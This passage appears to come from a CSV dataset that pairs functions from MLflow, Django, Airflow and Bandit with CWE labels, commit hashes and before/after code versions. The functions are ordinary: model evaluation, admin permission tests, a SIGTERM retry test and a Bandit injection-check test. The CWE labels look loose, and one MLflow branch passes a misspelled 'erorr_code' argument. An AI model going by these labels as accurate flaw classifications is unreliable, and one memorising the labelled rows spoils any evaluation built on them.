        model = _load_model_or_server(model, env_manager)
    elif env_manager != _EnvManager.LOCAL:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model when a ""
            ""non-local env_manager is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif isinstance(model, PyFuncModel):
        pass
    else:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model or ""
            ""an instance of `mlflow.pyfunc.PyFuncModel`."",
            erorr_code=INVALID_PARAMETER_VALUE,
        )

    if validation_thresholds:
        try:
            assert type(validation_thresholds) is dict
            for key in validation_thresholds.keys():
                assert type(key) is str
            for threshold in validation_thresholds.values():
                assert isinstance(threshold, MetricThreshold)
        except AssertionError:
            raise MlflowException(
                message=""The validation thresholds argument must be a dictionary that maps strings ""
                ""to MetricThreshold objects."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(baseline_model, str):
        baseline_model = _load_model_or_server(baseline_model, env_manager)
    elif baseline_model is not None:
        raise MlflowException(
            message=""The baseline model argument must be a string URI referring to an ""
            ""MLflow model."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif _model_validation_contains_model_comparison(validation_thresholds):
        raise MlflowException(
            message=""The baseline model argument is None. The baseline model must be specified ""
            ""when model comparison thresholds (min_absolute_change, min_relative_change) ""
            ""are specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    (
        evaluator_name_list,
        evaluator_name_to_conf_map,
    ) = _normalize_evaluators_and_evaluator_config_args(evaluators, evaluator_config)

    dataset = EvaluationDataset(
        data,
        targets=targets,
        name=dataset_name,
        path=dataset_path,
        feature_names=feature_names,
    )

    with _start_run_or_reuse_active_run() as run_id:
        try:
            evaluate_result = _evaluate(
                model=model,
                model_type=model_type,
                dataset=dataset,
                run_id=run_id,
                evaluator_name_list=evaluator_name_list,
                evaluator_name_to_conf_map=evaluator_name_to_conf_map,
                custom_metrics=custom_metrics,
                baseline_model=baseline_model,
            )
        finally:
            if isinstance(model, _ServedPyFuncModel):
                os.kill(model.pid, signal.SIGTERM)
            if isinstance(baseline_model, _ServedPyFuncModel):
                os.kill(baseline_model.pid, signal.SIGTERM)

        if not validation_thresholds:
            return evaluate_result

        _logger.info(""Validating generated model metrics"")
        _validate(
            validation_thresholds,
            evaluate_result.metrics,
            evaluate_result.baseline_model_metrics,
        )
        _logger.info(""Model validation passed!"")

        return evaluate_result",CWE-703,mlflow/mlflow,0be256b07854daccf402b283479671f29e34a318,"def evaluate(
    model: Union[str, ""mlflow.pyfunc.PyFuncModel""],
    data,
    *,
    targets,
    model_type: str,
    dataset_name=None,
    dataset_path=None,
    feature_names: list = None,
    evaluators=None,
    evaluator_config=None,
    custom_metrics=None,
    validation_thresholds=None,
    baseline_model=None,
    env_manager=""local"",
):
    """"""
    Evaluate a PyFunc model on the specified dataset using one or more specified ``evaluators``, and
    log resulting metrics & artifacts to MLflow Tracking. Set thresholds on the generated metrics to
    validate model quality. For additional overview information, see
    :ref:`the Model Evaluation documentation <model-evaluation>`.

    Default Evaluator behavior:
     - The default evaluator, which can be invoked with ``evaluators=""default""`` or
       ``evaluators=None``, supports the ``""regressor""`` and ``""classifier""`` model types.
       It generates a variety of model performance metrics, model performance plots, and
       model explanations.

     - For both the ``""regressor""`` and ``""classifier""`` model types, the default evaluator
       generates model summary plots and feature importance plots using
       `SHAP <https://shap.readthedocs.io/en/latest/index.html>`_.

     - For regressor models, the default evaluator additionally logs:
        - **metrics**: example_count, mean_absolute_error, mean_squared_error,
          root_mean_squared_error, sum_on_target, mean_on_target, r2_score, max_error,
          mean_absolute_percentage_error.

     - For binary classifiers, the default evaluator additionally logs:
        - **metrics**: true_negatives, false_positives, false_negatives, true_positives, recall,
          precision, f1_score, accuracy_score, example_count, log_loss, roc_auc, 
          precision_recall_auc.
        - **artifacts**: lift curve plot, precision-recall plot, ROC plot.

     - For multiclass classifiers, the default evaluator additionally logs:
        - **metrics**: accuracy_score, example_count, f1_score_micro, f1_score_macro, log_loss
        - **artifacts**: A CSV file for ""per_class_metrics"" (per-class metrics includes
          true_negatives/false_positives/false_negatives/true_positives/recall/precision/roc_auc,
          precision_recall_auc), precision-recall merged curves plot, ROC merged curves plot.

     - For sklearn models, the default evaluator additionally logs the model's evaluation criterion
       (e.g. mean accuracy for a classifier) computed by `model.score` method.

     - The logged MLflow metric keys are constructed using the format:
       ``{metric_name}_on_{dataset_name}``. Any preexisting metrics with the same name are
       overwritten.

     - The metrics/artifacts listed above are logged to the active MLflow run.
       If no active run exists, a new MLflow run is created for logging these metrics and
       artifacts. Note that no metrics/artifacts are logged for the ``baseline_model``.

     - Additionally, information about the specified dataset - hash, name (if specified), path
       (if specified), and the UUID of the model that evaluated it - is logged to the
       ``mlflow.datasets`` tag.

     - The available ``evaluator_config`` options for the default evaluator include:
        - **log_model_explainability**: A boolean value specifying whether or not to log model
          explainability insights, default value is True.
        - **explainability_algorithm**: A string to specify the SHAP Explainer algorithm for model
          explainability. Supported algorithm includes: 'exact', 'permutation', 'partition',
          'kernel'.
          If not set, ``shap.Explainer`` is used with the ""auto"" algorithm, which chooses the best
          Explainer based on the model.
        - **explainability_nsamples**: The number of sample rows to use for computing model
          explainability insights. Default value is 2000.
        - **explainability_kernel_link**: The kernel link function used by shap kernal explainer.
          Available values are ""identity"" and ""logit"". Default value is ""identity"".
        - **max_classes_for_multiclass_roc_pr**:
          For multiclass classification tasks, the maximum number of classes for which to log
          the per-class ROC curve and Precision-Recall curve. If the number of classes is
          larger than the configured maximum, these curves are not logged.
        - **metric_prefix**: An optional prefix to prepend to the name of each metric produced
          during evaluation.
        - **log_metrics_with_dataset_info**: A boolean value specifying whether or not to include
          information about the evaluation dataset in the name of each metric logged to MLflow
          Tracking during evaluation, default value is True.
        - **pos_label**: The positive label to use when computing classification metrics such as
          precision, recall, f1, etc. for binary classification models (default: ``1``). For
          multiclass classification and regression models, this parameter will be ignored.
        - **average**: The averaging method to use when computing classification metrics such as
          precision, recall, f1, etc. for multiclass classification models
          (default: ``'weighted'``). For binary classification and regression models, this
          parameter will be ignored.
        - **sample_weights**: Weights for each sample to apply when computing model performance
          metrics.

     - Limitations of evaluation dataset:
        - For classification tasks, dataset labels are used to infer the total number of classes.
        - For binary classification tasks, the negative label value must be 0 or -1 or False, and
          the positive label value must be 1 or True.

     - Limitations of metrics/artifacts computation:
        - For classification tasks, some metric and artifact computations require the model to
          output class probabilities. Currently, for scikit-learn models, the default evaluator
          calls the ``predict_proba`` method on the underlying model to obtain probabilities. For
          other model types, the default evaluator does not compute metrics/artifacts that require
          probability outputs.

     - Limitations of default evaluator logging model explainability insights:
        - The ``shap.Explainer`` ``auto`` algorithm uses the ``Linear`` explainer for linear models
          and the ``Tree`` explainer for tree models. Because SHAP's ``Linear`` and ``Tree``
          explainers do not support multi-class classification, the default evaluator falls back to
          using the ``Exact`` or ``Permutation`` explainers for multi-class classification tasks.
        - Logging model explainability insights is not currently supported for PySpark models.
        - The evaluation dataset label values must be numeric or boolean, all feature values
          must be numeric, and each feature column must only contain scalar values.

     - Limitations when environment restoration is enabled:
        - When environment restoration is enabled for the evaluated model (i.e. a non-local 
          ``env_manager`` is specified), the model is loaded as a client that invokes a MLflow 
          Model Scoring Server process in an independent Python environment with the model's 
          training time dependencies installed. As such, methods like ``predict_proba`` (for 
          probability outputs) or ``score`` (computes the evaluation criterian for sklearn models) 
          of the model become inaccessible and the default evaluator does not compute metrics or 
          artifacts that require those methods.
        - Because the model is an MLflow Model Server process, SHAP explanations are slower to 
          compute. As such, model explainaibility is disabled when a non-local ``env_manager`` 
          specified, unless the ``evaluator_config`` option **log_model_explainability** is 
          explicitly set to ``True``.

    :param model: A pyfunc model instance, or a URI referring to such a model.

    :param data: One of the following:

                 - A numpy array or list of evaluation features, excluding labels.

                 - A Pandas DataFrame or Spark DataFrame, containing evaluation features and
                   labels. If ``feature_names`` argument not specified, all columns are regarded
                   as feature columns. Otherwise, only column names present in ``feature_names``
                   are regarded as feature columns. If it is Spark DataFrame, only the first 10000
                   rows in the Spark DataFrame will be used as evaluation data.

    :param targets: If ``data`` is a numpy array or list, a numpy array or list of evaluation
                    labels. If ``data`` is a DataFrame, the string name of a column from ``data``
                    that contains evaluation labels.

    :param model_type: A string describing the model type. The default evaluator
                       supports ``""regressor""`` and ``""classifier""`` as model types.

    :param dataset_name: (Optional) The name of the dataset, must not contain double quotes (``“``).
                         The name is logged to the ``mlflow.datasets`` tag for lineage tracking
                         purposes. If not specified, the dataset hash is used as the dataset name.

    :param dataset_path: (Optional) The path where the data is stored. Must not contain double
                         quotes (``“``). If specified, the path is logged to the ``mlflow.datasets``
                         tag for lineage tracking purposes.

    :param feature_names: (Optional) If the ``data`` argument is a feature data numpy array or list,
                          ``feature_names`` is a list of the feature names for each feature. If
                          ``None``, then the ``feature_names`` are generated using the format
                          ``feature_{feature_index}``. If the ``data`` argument is a Pandas
                          DataFrame or a Spark DataFrame, ``feature_names`` is a list of the names
                          of the feature columns in the DataFrame. If ``None``, then all columns
                          except the label column are regarded as feature columns.

    :param evaluators: The name of the evaluator to use for model evaluation, or a list of
                       evaluator names. If unspecified, all evaluators capable of evaluating the
                       specified model on the specified dataset are used. The default evaluator
                       can be referred to by the name ``""default""``. To see all available
                       evaluators, call :py:func:`mlflow.models.list_evaluators`.

    :param evaluator_config: A dictionary of additional configurations to supply to the evaluator.
                             If multiple evaluators are specified, each configuration should be
                             supplied as a nested dictionary whose key is the evaluator name.

    :param custom_metrics: (Optional) A list of custom metric functions. A custom metric
                           function is required to take in two parameters:

                           - ``Union[pandas.Dataframe, pyspark.sql.DataFrame]``: The first being a
                             Pandas or Spark DataFrame containing ``prediction`` and ``target``
                             column. The ``prediction`` column contains the predictions made by
                             the model. The ``target`` column contains the corresponding labels
                             to the predictions made on that row.
                           - ``Dict``: The second is a dictionary containing the metrics calculated
                             by the default evaluator. The keys are the names of the metrics
                             and the values are the scalar values of the metrics. Refer to the
                             DefaultEvaluator behavior section for what metrics will be returned
                             based on the type of model (i.e. classifier or regressor).
                           - (Optional) ``str``: the path to a temporary directory that can be used
                             by the custom metric function to temporarily store produced artifacts.
                             The directory will be deleted after the artifacts are logged.

                           A custom metric function can return in the following format:

                           - ``Dict[AnyStr, Union[int, float, np.number]``: a singular dictionary of
                             custom metrics, where the keys are the names of the metrics, and the
                             values are the scalar values of the metrics.
                           - ``Tuple[Dict[AnyStr, Union[int,float,np.number]], Dict[AnyStr,Any]]``:
                             a tuple of a dict containing the custom metrics, and a dict of
                             artifacts, where the keys are the names of the artifacts, and the
                             values are objects representing the artifacts.

                           Object types that artifacts can be represented as:

                           - A string uri representing the file path to the artifact. MLflow will
                             infer the type of the artifact based on the file extension.
                           - A string representation of a JSON object. This will be saved as a
                             .json artifact.
                           - Pandas DataFrame. This will be resolved as a CSV artifact.
                           - Numpy array. This will be saved as a .npy artifact.
                           - Matplotlib Figure. This will be saved as an image artifact. Note that
                             ``matplotlib.pyplot.savefig`` is called behind the scene with default
                             configurations. To customize, either save the figure with the desired
                             configurations and return its file path or define customizations
                             through environment variables in ``matplotlib.rcParams``.
                           - Other objects will be attempted to be pickled with the default
                             protocol.

                           .. code-block:: python
                               :caption: Custom Metric Function Boilerplate

                               def custom_metrics_boilerplate(eval_df, builtin_metrics):
                                   # ...
                                   metrics: Dict[AnyStr, Union[int, float, np.number]] = some_dict
                                   artifacts: Dict[AnyStr, Any] = some_artifact_dict
                                   # ...
                                   if artifacts is not None:
                                       return metrics, artifacts
                                   return metrics

                           .. code-block:: python
                               :caption: Example usage of custom metrics

                               def squared_diff_plus_one(eval_df, builtin_metrics):
                                   return {
                                       ""squared_diff_plus_one"": (
                                           np.sum(
                                               np.abs(
                                                   eval_df[""prediction""] - eval_df[""target""] + 1
                                               ) ** 2
                                           )
                                       )
                                   }

                               def scatter_plot(eval_df, builtin_metrics, artifacts_dir):
                                   import tempfile
                                   plt.scatter(eval_df['prediction'], eval_df['target'])
                                   plt.xlabel('Targets')
                                   plt.ylabel('Predictions')
                                   plt.title(""Targets vs. Predictions"")
                                   plt.savefig(os.path.join(artifacts_dir, ""example.png""))
                                   return {}, {
                                       ""pred_target_scatter"": os.path.join(
                                            artifacts_dir, ""example.png""
                                       )
                                   }

                               with mlflow.start_run():
                                   mlflow.evaluate(
                                       model,
                                       data,
                                       targets,
                                       model_type,
                                       dataset_name,
                                       evaluators,
                                       custom_metrics=[squared_diff_plus_one, scatter_plot],
                                   )

    :param validation_thresholds: (Optional) A dictionary of metric name to
                                  :py:class:`mlflow.models.MetricThreshold` used for
                                  model validation. Each metric name must either be the
                                  name of a builtin metric or the name of a custom
                                  metric defined in the ``custom_metrics`` parameter.

                                  .. code-block:: python
                                      :caption: Example of Model Validation

                                      from mlflow.models import MetricThreshold

                                      thresholds = {
                                          ""accuracy_score"": MetricThreshold(
                                              threshold=0.8,            # accuracy \
should be >=0.8
                                              min_absolute_change=0.05, # accuracy \
should be at least 5 percent greater than baseline model accuracy
                                              min_relative_change=0.05, # accuracy \
should be at least 0.05 greater than baseline model accuracy
                                              higher_is_better=True
                                          ),
                                      }

                                      with mlflow.start_run():
                                          mlflow.evaluate(
                                              model=your_candidate_model,
                                              data,
                                              targets,
                                              model_type,
                                              dataset_name,
                                              evaluators,
                                              validation_thresholds=thresholds,
                                              baseline_model=your_baseline_model,
                                          )
                                            
                                  See :ref:`the Model Validation documentation <model-validation>` 
                                  for more details.

    :param baseline_model: (Optional) A string URI referring to an MLflow model with the pyfunc
                           flavor. If specified, the candidate ``model`` is compared to this 
                           baseline for model validation purposes.

    :param env_manager: Specify an environment manager to load the candidate ``model`` and 
                        ``baseline_model`` in isolated Python evironments and restore their 
                        dependencies. Default value is ``local``, and the following values are 
                        supported:

                         - ``virtualenv``: (Recommended) Use virtualenv to restore the python 
                           environment that was used to train the model.
                         - ``conda``:  Use Conda to restore the software environment that was used 
                           to train the model.
                         - ``local``: Use the current Python environment for model inference, which
                           may differ from the environment used to train the model and may lead to
                           errors or invalid predictions.

    :return: An :py:class:`mlflow.models.EvaluationResult` instance containing
             metrics of candidate model and baseline model, and artifacts of candidate model.
    """"""
    import signal
    from mlflow.pyfunc import PyFuncModel, _ServedPyFuncModel, _load_model_or_server
    from mlflow.utils import env_manager as _EnvManager

    _EnvManager.validate(env_manager)

    if isinstance(model, str):
        model = _load_model_or_server(model, env_manager)
    elif env_manager != _EnvManager.LOCAL:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model when a ""
            ""non-local env_manager is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif isinstance(model, PyFuncModel):
        pass
    else:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model or ""
            ""an instance of `mlflow.pyfunc.PyFuncModel`."",
            erorr_code=INVALID_PARAMETER_VALUE,
        )

    if validation_thresholds:
        try:
            assert type(validation_thresholds) is dict
            for key in validation_thresholds.keys():
                assert type(key) is str
            for threshold in validation_thresholds.values():
                assert isinstance(threshold, MetricThreshold)
        except AssertionError:
            raise MlflowException(
                message=""The validation thresholds argument must be a dictionary that maps strings ""
                ""to MetricThreshold objects."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(baseline_model, str):
        baseline_model = _load_model_or_server(baseline_model, env_manager)
    elif baseline_model is not None:
        raise MlflowException(
            message=""The baseline model argument must be a string URI referring to an ""
            ""MLflow model."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif _model_validation_contains_model_comparison(validation_thresholds):
        raise MlflowException(
            message=""The baseline model argument is None. The baseline model must be specified ""
            ""when model comparison thresholds (min_absolute_change, min_relative_change) ""
            ""are specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    (
        evaluator_name_list,
        evaluator_name_to_conf_map,
    ) = _normalize_evaluators_and_evaluator_config_args(evaluators, evaluator_config)

    dataset = EvaluationDataset(
        data,
        targets=targets,
        name=dataset_name,
        path=dataset_path,
        feature_names=feature_names,
    )

    with _start_run_or_reuse_active_run() as run_id:
        try:
            evaluate_result = _evaluate(
                model=model,
                model_type=model_type,
                dataset=dataset,
                run_id=run_id,
                evaluator_name_list=evaluator_name_list,
                evaluator_name_to_conf_map=evaluator_name_to_conf_map,
                custom_metrics=custom_metrics,
                baseline_model=baseline_model,
            )
        finally:
            if isinstance(model, _ServedPyFuncModel):
                os.kill(model.pid, signal.SIGTERM)
            if isinstance(baseline_model, _ServedPyFuncModel):
                os.kill(baseline_model.pid, signal.SIGTERM)

        if not validation_thresholds:
            return evaluate_result

        _logger.info(""Validating generated model metrics"")
        _validate(
            validation_thresholds,
            evaluate_result.metrics,
            evaluate_result.baseline_model_metrics,
        )
        _logger.info(""Model validation passed!"")

        return evaluate_result"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,0,"def test_change_view(self):
        """"""Change view should restrict access and allow users to edit items.""""""
        change_dict = {
            ""title"": ""Ikke fordømt"",
            ""content"": ""<p>edited article</p>"",
            ""date_0"": ""2008-03-18"",
            ""date_1"": ""10:54:39"",
            ""section"": self.s1.pk,
        }
        article_change_url = reverse(
            ""admin:admin_views_article_change"", args=(self.a1.pk,)
        )
        article_changelist_url = reverse(""admin:admin_views_article_changelist"")

        # add user should not be able to view the list of article or change any of them
        self.client.force_login(self.adduser)
        response = self.client.get(article_changelist_url)
        self.assertEqual(response.status_code, 403)
        response = self.client.get(article_change_url)
        self.assertEqual(response.status_code, 403)
        post = self.client.post(article_change_url, change_dict)
        self.assertEqual(post.status_code, 403)
        self.client.post(reverse(""admin:logout""))

        # view user can view articles but not make changes.
        self.client.force_login(self.viewuser)
        response = self.client.get(article_changelist_url)
        self.assertContains(
            response,
            ""<title>Select article to view | Django site admin</title>"",
        )
        self.assertContains(response, ""<h1>Select article to view</h1>"")
        self.assertEqual(response.context[""title""], ""Select article to view"")
        response = self.client.get(article_change_url)
        self.assertContains(response, ""<title>View article | Django site admin</title>"")
        self.assertContains(response, ""<h1>View article</h1>"")
        self.assertContains(response, ""<label>Extra form field:</label>"")
        self.assertContains(
            response,
            '<a role=""button"" href=""/test_admin/admin/admin_views/article/"" '
            'class=""closelink"">Close</a>',
        )
        self.assertEqual(response.context[""title""], ""View article"")
        post = self.client.post(article_change_url, change_dict)
        self.assertEqual(post.status_code, 403)
        self.assertEqual(
            Article.objects.get(pk=self.a1.pk).content, ""<p>Middle content</p>""
        )
        self.client.post(reverse(""admin:logout""))

        # change user can view all items and edit them
        self.client.force_login(self.changeuser)
        response = self.client.get(article_changelist_url)
        self.assertEqual(response.context[""title""], ""Select article to change"")
        self.assertContains(
            response,
            ""<title>Select article to change | Django site admin</title>"",
        )
        self.assertContains(response, ""<h1>Select article to change</h1>"")
        response = self.client.get(article_change_url)
        self.assertEqual(response.context[""title""], ""Change article"")
        self.assertContains(
            response,
            ""<title>Change article | Django site admin</title>"",
        )
        self.assertContains(response, ""<h1>Change article</h1>"")
        post = self.client.post(article_change_url, change_dict)
        self.assertRedirects(post, article_changelist_url)
        self.assertEqual(
            Article.objects.get(pk=self.a1.pk).content, ""<p>edited article</p>""
        )

        # one error in form should produce singular error message, multiple
        # errors plural.
        change_dict[""title""] = """"
        post = self.client.post(article_change_url, change_dict)
        self.assertContains(
            post,
            ""Please correct the error below."",
            msg_prefix=(
                ""Singular error message not found in response to post with one error""
            ),
        )

        change_dict[""content""] = """"
        post = self.client.post(article_change_url, change_dict)
        self.assertContains(
            post,
            ""Please correct the errors below."",
            msg_prefix=(
                ""Plural error message not found in response to post with multiple ""
                ""errors""
            ),
        )
        self.client.post(reverse(""admin:logout""))

        # Test redirection when using row-level change permissions. Refs #11513.
        r1 = RowLevelChangePermissionModel.objects.create(id=1, name=""odd id"")
        r2 = RowLevelChangePermissionModel.objects.create(id=2, name=""even id"")
        r3 = RowLevelChangePermissionModel.objects.create(id=3, name=""odd id mult 3"")
        r6 = RowLevelChangePermissionModel.objects.create(id=6, name=""even id mult 3"")
        change_url_1 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r1.pk,)
        )
        change_url_2 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r2.pk,)
        )
        change_url_3 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r3.pk,)
        )
        change_url_6 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r6.pk,)
        )
        logins = [
            self.superuser,
            self.viewuser,
            self.adduser,
            self.changeuser,
            self.deleteuser,
        ]
        for login_user in logins:
            with self.subTest(login_user.username):
                self.client.force_login(login_user)
                response = self.client.get(change_url_1)
                self.assertEqual(response.status_code, 403)
                response = self.client.post(change_url_1, {""name"": ""changed""})
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=1).name, ""odd id""
                )
                self.assertEqual(response.status_code, 403)
                response = self.client.get(change_url_2)
                self.assertEqual(response.status_code, 200)
                response = self.client.post(change_url_2, {""name"": ""changed""})
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=2).name, ""changed""
                )
                self.assertRedirects(response, self.index_url)
                response = self.client.get(change_url_3)
                self.assertEqual(response.status_code, 200)
                response = self.client.post(change_url_3, {""name"": ""changed""})
                self.assertEqual(response.status_code, 403)
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=3).name,
                    ""odd id mult 3"",
                )
                response = self.client.get(change_url_6)
                self.assertEqual(response.status_code, 200)
                response = self.client.post(change_url_6, {""name"": ""changed""})
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=6).name, ""changed""
                )
                self.assertRedirects(response, self.index_url)

                self.client.post(reverse(""admin:logout""))

        for login_user in [self.joepublicuser, self.nostaffuser]:
            with self.subTest(login_user.username):
                self.client.force_login(login_user)
                response = self.client.get(change_url_1, follow=True)
                self.assertContains(response, ""login-form"")
                response = self.client.post(
                    change_url_1, {""name"": ""changed""}, follow=True
                )
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=1).name, ""odd id""
                )
                self.assertContains(response, ""login-form"")
                response = self.client.get(change_url_2, follow=True)
                self.assertContains(response, ""login-form"")
                response = self.client.post(
                    change_url_2, {""name"": ""changed again""}, follow=True
                )
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=2).name, ""changed""
                )
                self.assertContains(response, ""login-form"")
                self.client.post(reverse(""admin:logout""))",CWE-Unknown,django/django,849f8307a5bb33465252d0891a9b2c47dde65889,"def test_change_view(self):
        """"""Change view should restrict access and allow users to edit items.""""""
        change_dict = {
            ""title"": ""Ikke fordømt"",
            ""content"": ""<p>edited article</p>"",
            ""date_0"": ""2008-03-18"",
            ""date_1"": ""10:54:39"",
            ""section"": self.s1.pk,
        }
        article_change_url = reverse(
            ""admin:admin_views_article_change"", args=(self.a1.pk,)
        )
        article_changelist_url = reverse(""admin:admin_views_article_changelist"")

        # add user should not be able to view the list of article or change any of them
        self.client.force_login(self.adduser)
        response = self.client.get(article_changelist_url)
        self.assertEqual(response.status_code, 403)
        response = self.client.get(article_change_url)
        self.assertEqual(response.status_code, 403)
        post = self.client.post(article_change_url, change_dict)
        self.assertEqual(post.status_code, 403)
        self.client.post(reverse(""admin:logout""))

        # view user can view articles but not make changes.
        self.client.force_login(self.viewuser)
        response = self.client.get(article_changelist_url)
        self.assertContains(
            response,
            ""<title>Select article to view | Django site admin</title>"",
        )
        self.assertContains(response, ""<h1>Select article to view</h1>"")
        self.assertEqual(response.context[""title""], ""Select article to view"")
        response = self.client.get(article_change_url)
        self.assertContains(response, ""<title>View article | Django site admin</title>"")
        self.assertContains(response, ""<h1>View article</h1>"")
        self.assertContains(response, ""<label>Extra form field:</label>"")
        self.assertContains(
            response,
            '<a href=""/test_admin/admin/admin_views/article/"" class=""closelink"">Close'
            ""</a>"",
        )
        self.assertEqual(response.context[""title""], ""View article"")
        post = self.client.post(article_change_url, change_dict)
        self.assertEqual(post.status_code, 403)
        self.assertEqual(
            Article.objects.get(pk=self.a1.pk).content, ""<p>Middle content</p>""
        )
        self.client.post(reverse(""admin:logout""))

        # change user can view all items and edit them
        self.client.force_login(self.changeuser)
        response = self.client.get(article_changelist_url)
        self.assertEqual(response.context[""title""], ""Select article to change"")
        self.assertContains(
            response,
            ""<title>Select article to change | Django site admin</title>"",
        )
        self.assertContains(response, ""<h1>Select article to change</h1>"")
        response = self.client.get(article_change_url)
        self.assertEqual(response.context[""title""], ""Change article"")
        self.assertContains(
            response,
            ""<title>Change article | Django site admin</title>"",
        )
        self.assertContains(response, ""<h1>Change article</h1>"")
        post = self.client.post(article_change_url, change_dict)
        self.assertRedirects(post, article_changelist_url)
        self.assertEqual(
            Article.objects.get(pk=self.a1.pk).content, ""<p>edited article</p>""
        )

        # one error in form should produce singular error message, multiple
        # errors plural.
        change_dict[""title""] = """"
        post = self.client.post(article_change_url, change_dict)
        self.assertContains(
            post,
            ""Please correct the error below."",
            msg_prefix=(
                ""Singular error message not found in response to post with one error""
            ),
        )

        change_dict[""content""] = """"
        post = self.client.post(article_change_url, change_dict)
        self.assertContains(
            post,
            ""Please correct the errors below."",
            msg_prefix=(
                ""Plural error message not found in response to post with multiple ""
                ""errors""
            ),
        )
        self.client.post(reverse(""admin:logout""))

        # Test redirection when using row-level change permissions. Refs #11513.
        r1 = RowLevelChangePermissionModel.objects.create(id=1, name=""odd id"")
        r2 = RowLevelChangePermissionModel.objects.create(id=2, name=""even id"")
        r3 = RowLevelChangePermissionModel.objects.create(id=3, name=""odd id mult 3"")
        r6 = RowLevelChangePermissionModel.objects.create(id=6, name=""even id mult 3"")
        change_url_1 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r1.pk,)
        )
        change_url_2 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r2.pk,)
        )
        change_url_3 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r3.pk,)
        )
        change_url_6 = reverse(
            ""admin:admin_views_rowlevelchangepermissionmodel_change"", args=(r6.pk,)
        )
        logins = [
            self.superuser,
            self.viewuser,
            self.adduser,
            self.changeuser,
            self.deleteuser,
        ]
        for login_user in logins:
            with self.subTest(login_user.username):
                self.client.force_login(login_user)
                response = self.client.get(change_url_1)
                self.assertEqual(response.status_code, 403)
                response = self.client.post(change_url_1, {""name"": ""changed""})
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=1).name, ""odd id""
                )
                self.assertEqual(response.status_code, 403)
                response = self.client.get(change_url_2)
                self.assertEqual(response.status_code, 200)
                response = self.client.post(change_url_2, {""name"": ""changed""})
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=2).name, ""changed""
                )
                self.assertRedirects(response, self.index_url)
                response = self.client.get(change_url_3)
                self.assertEqual(response.status_code, 200)
                response = self.client.post(change_url_3, {""name"": ""changed""})
                self.assertEqual(response.status_code, 403)
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=3).name,
                    ""odd id mult 3"",
                )
                response = self.client.get(change_url_6)
                self.assertEqual(response.status_code, 200)
                response = self.client.post(change_url_6, {""name"": ""changed""})
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=6).name, ""changed""
                )
                self.assertRedirects(response, self.index_url)

                self.client.post(reverse(""admin:logout""))

        for login_user in [self.joepublicuser, self.nostaffuser]:
            with self.subTest(login_user.username):
                self.client.force_login(login_user)
                response = self.client.get(change_url_1, follow=True)
                self.assertContains(response, ""login-form"")
                response = self.client.post(
                    change_url_1, {""name"": ""changed""}, follow=True
                )
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=1).name, ""odd id""
                )
                self.assertContains(response, ""login-form"")
                response = self.client.get(change_url_2, follow=True)
                self.assertContains(response, ""login-form"")
                response = self.client.post(
                    change_url_2, {""name"": ""changed again""}, follow=True
                )
                self.assertEqual(
                    RowLevelChangePermissionModel.objects.get(id=2).name, ""changed""
                )
                self.assertContains(response, ""login-form"")
                self.client.post(reverse(""admin:logout""))"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_task_sigterm_works_with_retries(self, dag_maker):
        """"""
        Test that ensures that tasks are retried when they receive sigterm
        """"""

        def task_function(ti):
            os.kill(ti.pid, signal.SIGTERM)

        with dag_maker('test_mark_failure_2'):
            task = PythonOperator(
                task_id='test_on_failure',
                python_callable=task_function,
                retries=1,
                retry_delay=datetime.timedelta(seconds=2),
            )

        dr = dag_maker.create_dagrun()
        ti = dr.task_instances[0]
        ti.task = task
        with pytest.raises(AirflowException):
            ti.run()
        ti.refresh_from_db()
        assert ti.state == State.UP_FOR_RETRY",CWE-703,apache/airflow,bbe9012b9fb8929a2a971529b78f508a4817e85a,"def test_task_sigterm_works_with_retries(self, dag_maker):
        """"""
        Test that ensures that tasks are retried when they receive sigterm
        """"""

        def task_function(ti):
            # pylint: disable=unused-argument
            os.kill(ti.pid, signal.SIGTERM)

        with dag_maker('test_mark_failure_2'):
            task = PythonOperator(
                task_id='test_on_failure',
                python_callable=task_function,
                retries=1,
                retry_delay=datetime.timedelta(seconds=2),
            )

        dr = dag_maker.create_dagrun()
        ti = dr.task_instances[0]
        ti.task = task
        with pytest.raises(AirflowException):
            ti.run()
        ti.refresh_from_db()
        assert ti.state == State.UP_FOR_RETRY"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_functional.py,0,"def test_paramiko_injection(self):
        '''Test paramiko command execution.'''
        expect = {'SEVERITY': {'MEDIUM': 2},
                  'CONFIDENCE': {'HIGH': 2}}
        self.check_example('paramiko_injection.py', expect)",UNKNOWN,PyCQA/bandit,055598028a84a6ec1545d7035463767d78c04729,"def test_paramiko_injection(self):
        '''Test paramiko command execution.'''
